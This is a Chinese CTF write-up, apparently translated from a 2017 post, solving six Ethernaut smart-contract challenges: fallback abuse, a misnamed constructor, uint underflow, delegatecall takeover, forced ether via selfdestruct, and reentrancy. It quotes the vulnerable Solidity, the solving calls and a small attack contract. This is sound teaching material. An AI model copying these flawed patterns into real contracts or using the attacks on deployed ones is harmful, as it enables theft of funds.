深入Ethernaut CTF:智能合约漏洞实战解析

本文详细解析了Ethernaut CTF中的六个智能合约挑战,涵盖回退函数滥用、构造函数误命名、整数下溢、委托调用风险、强制转账和重入攻击等核心漏洞,通过实际代码示例和解决方案演示区块链安全攻防技术。

深入Ethernaut CTF:智能合约漏洞实战解析

上周Zeppelin发布了以太坊CTF项目Ethernaut。该CTF是了解区块链交互方式和智能合约漏洞基础的绝佳入门项目。CTF部署在ropsten区块链上,可免费获取测试以太币。通过浏览器开发者控制台和MetaMask插件与CTF交互。

我有幸成为首个完成所有挑战的选手。以下是我的解题过程。

1. Fallback

这是首个挑战,更像是一个API使用引导。让我们详细观察Solidity智能合约的结构。

挑战描述

合约包含一个构造函数和四个函数。目标是成为合约所有者并提取所有资金。

构造函数(与合约同名)仅在部署时执行一次:

1
2
3
function Fallback() {
  contributions[msg.sender] = 1000 * (1 ether);
}

contribute()函数将调用者发送的以太币(msg.value)存入contributions映射。若该值超过合约所有者的贡献值,调用者将成为新所有者:

1
2
3
4
5
6
7
function contribute() public payable {
  require(msg.value < 0.001 ether);
  contributions[msg.sender] += msg.value;
  if(contributions[msg.sender] > contributions[owner]) {
    owner = msg.sender;
  }
}

getContribution()是简单的取值器:

1
2
3
function getContribution() public constant returns (uint) {
  return contributions[msg.sender];
}

withdraw()允许所有者提取全部资金(onlyOwner修饰符限制调用权限):

1
2
3
function withdraw() onlyOwner {
  owner.transfer(this.balance);
}

最后是回退函数(fallback function),需满足调用者曾贡献过资金:

1
2
3
4
function() payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}

回退函数机制

理解回退函数需了解以太坊的函数选择器和参数机制。调用函数时,交易数据包含函数ID(函数签名keccak256哈希的前4字节)和参数。例如transfer(address,uint256)的函数ID是0xa9059cbb

智能合约执行时首先通过调度器检查函数ID。若无匹配则调用回退函数(如果存在)。可使用开源反汇编工具Ethersplay查看调度器结构。

解决方案

分三步操作:

  1. 调用contribution存入初始资金
  2. 调用回退函数成为所有者
  3. 调用withdraw提取资金

具体操作:

  • (1) 在开发者控制台执行contract.contribution({value:1})
  • (2) 通过MetaMask直接向合约地址转账
  • (3) 调用contract.withdraw()

2. Fallout

挑战描述

目标是成为合约所有者。合约看似包含构造函数,但函数名与合约名存在差异:

1
2
3
4
5
6
7
8
contract Fallout is Ownable {
  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

该函数并非构造函数,而是可公开调用的普通函数!此漏洞在真实合约中确实存在(如ZiberCrowdsale和PeerBudsToken),可通过静态分析工具Slither检测。

解决方案

直接调用contract.Fal1out()即可成为所有者。

3. Token

挑战描述

初始拥有20个代币,目标是获取大量代币。transfer函数用于代币转账:

1
2
3
4
5
6
function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0);
  balances[msg.sender] -= _value;
  balances[_to] += _value;
  return true;
}

虽然存在溢出检查require(balances[msg.sender] - _value >= 0),但_value和balances均为无符号整数,该条件恒为真!因此可在balances[msg.sender] -= _value处触发下溢,使余额变为极大值。

解决方案

调用contract.transfer(0x0, 21)触发下溢,使balances[msg.sender]变为2^256-1。

4. Delegation

挑战描述

目标是成为Delegation合约的所有者。虽然该合约无法直接修改owner,但其持有的Delegate合约包含pwn()函数:

1
2
3
function pwn() {
  owner = msg.sender;
}

关键点在于Delegation的回退函数使用delegatecall

1
2
3
4
5
function() {
  if(delegate.delegatecall(msg.data)) {
    this;
  }
}

delegatecall允许被调用合约在调用合约的上下文中执行代码(包括状态修改),曾导致3000万美元损失的Parity钱包黑客事件就利用此特性。

解决方案

调用回退函数时在msg.data中填入pwn()的函数ID(0xdd365b8b),使delegatecall在Delegation的上下文中执行pwn(),从而修改所有者。

5. Force

挑战描述

需向空合约转账以太币。由于没有payable回退函数,直接转账会失败。但可通过以下方式绕过:

  • 调用selfdestruct(address)
  • 设置挖矿奖励地址
  • 合约创建前向地址转账

解决方案

创建合约并调用selfdestruct向目标合约强制转账:

1
2
3
4
5
6
contract Selfdestruct{
  function Selfdestruct() payable{}
  function attack(){
    selfdestruct(0x..);
  }
}

使用payable构造函数可在部署时存入以太币,这些资金将通过selfdestruct转移。可通过Remix浏览器在ropsten测试网部署测试。

6. Re-entrancy

挑战描述

最终挑战!需在创建时向合约转账1以太币并最终取回资金。重点关注两个函数:

donate用于向合约捐款:

1
2
3
function donate(address _to) public payable {
  balances[_to] += msg.value;
}

withdraw用于取回资金:

1
2
3
4
5
6
7
8
function withdraw(uint _amount) public {
  if(balances[msg.sender] >= _amount) {
    if(msg.sender.call.value(_amount)()) {
      _amount;
    }
    balances[msg.sender] -= _amount;
  }
}

问题在于:通过msg.sender.call.value(_amount)()转账时,若接收者是包含回退函数的合约,该函数可在balances[msg.sender] -= _amount执行前再次调用withdraw,形成重入攻击。此漏洞曾导致DAO黑客事件。

解决方案

需使用代理合约:

  1. 编写包含回退函数(内部调用withdraw)的合约
  2. 调用donate向漏洞合约存款
  3. 调用withdraw触发重入

可在智能合约数据库中找到通用攻击框架,读者可自行适配。同样可通过Remix在ropsten测试网部署测试。

结论

Ethernaut CTF体验极佳,其界面使智能合约安全入门变得简单。感谢Zeppelin的出色工作!

如果您对文中提到的工具感兴趣,或需要智能合约安全评估,欢迎联系我们!


原文发布于2017年11月6日,涵盖区块链、夺旗赛和符号执行技术

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计